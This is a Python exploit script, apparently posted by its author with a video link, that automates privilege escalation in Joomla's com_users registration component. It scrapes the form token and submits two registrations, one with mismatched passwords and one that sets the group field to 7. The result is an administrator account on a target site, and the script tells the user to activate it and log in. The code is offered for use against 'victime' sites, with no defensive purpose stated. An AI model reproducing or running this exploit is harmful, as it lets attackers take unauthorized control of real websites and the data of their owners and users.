Video http://www.youtube.com/watch?v=jg6_MN1wQxI&feature=youtu.be

#!/usr/bin/python
# Joomla Com_User Auto Exploit =D
# By Xtroj-EnTn

import requests as sec4ever, re, urllib, sys, os
from threading import Thread
from time import sleep
def cls():
	os.system(['clear','cls'][os.name =='nt'])

cls()
print '''

                    Joomla Com_User Auto Exploiter
#Contact Me: Virus-Tn@hotmail.com
#Greets: Zisahn Rider - Hatem Dridi
Facebook : https://www.facebook.com/profile.php?id=100007271865841
#Coded By: Xtroj-EnTn'''

pwd2 = 'fio3jfiej9cewc9c9w0eufew9u'
def one(target,pwd1,pwd2,email):
	# Wrong Password
	x1 = xsec.get(target+'/index.php?option=com_users&view=registration')
	token = re.findall('type="hidden" name="(.*?)" value="1"', x1.text)
	post = {}
	post["jform[name]"] = 'Xtroj'
	post["jform[username]"] = user
	post["jform[password1]"] = pwd1
	post["jform[password2]"] = pwd2
	post["jform[email1]"] = email
	post["jform[email2]"] = email
	post["jform[groups][]"] = "7"
	post["option"] = "com_users"
	post["task"] = "registration.register"
	post[token[0]] = "1"
	p1 = xsec.post(target+'/index.php?option=com_users&view=registration', data=urllib.urlencode(post))
	x2 = xsec.get(target+'/index.php/component/users/?view=registration&layout=complete')

def exploit(target,pwd1,pwd2,email):
	# Wrong Password
	x3 = xsec.get(target+'/index.php?option=com_users&view=registration')
	token = re.findall('type="hidden" name="(.*?)" value="1"', x3.text)
	post = {}
	post["jform[name]"] = 'Xtroj'
	post["jform[username]"] = user
	post["jform[password1]"] = pwd1
	post["jform[password2]"] = pwd1
	post["jform[email1]"] = email
	post["jform[email2]"] = email
	post["jform[groups][]"] = "7"
	post["option"] = "com_users"
	post["task"] = "registration.register"
	post[token[0]] = "1"
	p2 = xsec.post(target+'/index.php?option=com_users&view=registration', data=urllib.urlencode(post))
	x4 = xsec.get(target+'/index.php/component/users/?view=registration&layout=complete')

xsec = sec4ever.session()
if len(sys.argv) == 5:
	target = sys.argv[1]
	user = sys.argv[2]
	pwd1 = sys.argv[3]
	email = sys.argv[4]
	one(target,pwd1,pwd2,email)
	ex = exploit(target,pwd1,pwd2,email)
	print '[*] Go To Your Email & Active Then Login :D\nUsername: '+user+' & Password: '+pwd1
else:
	print "Usage: python tool.py http://www.victime.com/ youruser yourpass yourmail"